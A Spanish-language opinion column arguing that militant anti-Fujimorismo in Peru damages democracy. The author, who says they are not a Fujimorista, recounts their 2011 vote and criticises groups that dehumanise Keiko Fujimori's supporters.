La vida democrática auténtica requiere aceptar a los rivales y contendores por lo que son y no por lo que fueron. En la política contemporánea del Perú esto es especialmente cierto en el caso de la oposición radical y cerrada a Keiko Fujimori y Fuerza Popular. En otras palabras, y para decirlo sin ambages, el antifujimorismo puede ser incluso más dañino para el país que el monstruo al que militantemente se oponen sus representantes. Pocas cosas le hacen más daño a la construcción democrática del país que el intento por deslegitimar al fujimorismo como fuerza y opción política válida.
Por transparencia, aprovecho para hacer aquí algunas aclaraciones. Yo no soy fujimorista, nunca lo he sido ni he votado por congresistas de ese partido; asimismo, soy un crítico muy duro del autogolpe de 1992. En 2011, Keiko Fujimori no tuvo mi voto en primera vuelta. No obstante, sí lo tuvo en segunda vuelta por mi miedo al Ollanta Humala de la Gran Transformación, de la cercanía a la dictadura venezolana y de la asonada golpista y antidemocrática de su hermano Antauro. En mi mente, esos antecedentes pesaron más que la relación sanguínea de Keiko con su padre, quien (cabe decirlo sin remilgos también) fue un autócrata.
Aquella vez me equivoqué. De haber tenido la convicción que Ollanta Humala respetaría la democracia (que es lo que le prometió a Mario Vargas Llosa y yo no le creí) entonces él habría tenido mi voto y no Keiko. Al fin y al cabo, el fujimorismo a mí no me agrada mucho por ser conservador a ultranza, tener una propensión excesiva al uso de la fuerza y no contar con cuadros profesionales capaces.
Mi disgusto por lo que el fujimorismo significa y representa no me hace, sin embargo, un antifujimorista. Aunque no es mi caso, el partido de Keiko y de Alberto sí representa a muchos otros peruanos que votaron, votan y seguramente seguirán votando naranja en los próximos años. Es por esto que el anti-fujimorismo es torpe tanto a nivel estratégico como político.
Por un lado, esta actitud genera un aura de persecución que ha sido clave para su resurrección a partir del año 2006. Y aunque ciertamente el paso del tiempo ha ayudado a que algunos de sus excesos sean vistos ahora como simples travesuras, la verdad es que la experiencia de más de ochenta años de antiaprismo debería bastar para explicar este punto. En el Perú, lo que no mata a un movimiento sólo sirve para fortalecerlo. Si Keiko Fujimori ha logrado ser la congresista más votada de 2006 y la finalista de la contienda presidencial en 2011 es en parte por la tenaz oposición a ella, que ha elevado su perfil y le ha dado talla de líder nacional. Pese a todo lo que le dicen, ella tiene mucho que agradecerle a quienes más la odian.
Asimismo, el antifujimorismo parece vivir de espaldas a la realidad. Cerca de una cuarta parte del electorado peruano es fujimorista. Estas personas no votan porque les encanta lo que pasó en la salita del SIN, ni porque les gustaría que el Congreso se cierre de vez en cuando. Lo hacen porque existe un recuerdo del fujimorismo que permanece, para bien o para mal, en sus memorias. Se debe retar al fujimorismo a través de preguntas muy duras, cómo cuál es su visión de la economía o que garantías ofrece para la protección de los derechos humanos. Esa es la oposición seria que al fujimorismo que el país necesita. Tratarlos de ratas, como hacen grupos como el denominado “Colectivo No a Keiko” por ejemplo, está muy lejos de eso. Deshumanizar al adversario sólo se encuentra en la peor clase de política, sea en la Europa de los treinta o en la Rwanda de los noventa.
Vaya ironía, cuando son estos grupos los que teóricamente defienden la democracia y los derechos humanos.
Nuevamente, esta no es una defensa del fujimorismo ni una exaltación de virtudes que, al menos a mis ojos, no le sobran. Pero la guerra fundamentalista contra esta agrupación es esencialmente antidemocrática. Si quienes en los setenta apoyaron la dictadura terrible de Juan Velasco pueden hoy participar de la vida política, ¿por qué no puede hacerlo el fujimorismo? Y si un exguerrillero tupamaro como José Mujica puede ser presidente de Uruguay, ¿sería acaso tan terrible que la hija de Fujimori sea presidente del Perú?
Yo comienzo a sospechar que lo que son pecados mortales en la derecha se transforman en pecadillos veniales cuando se trata de la izquierda. Ojalá me equivoque.
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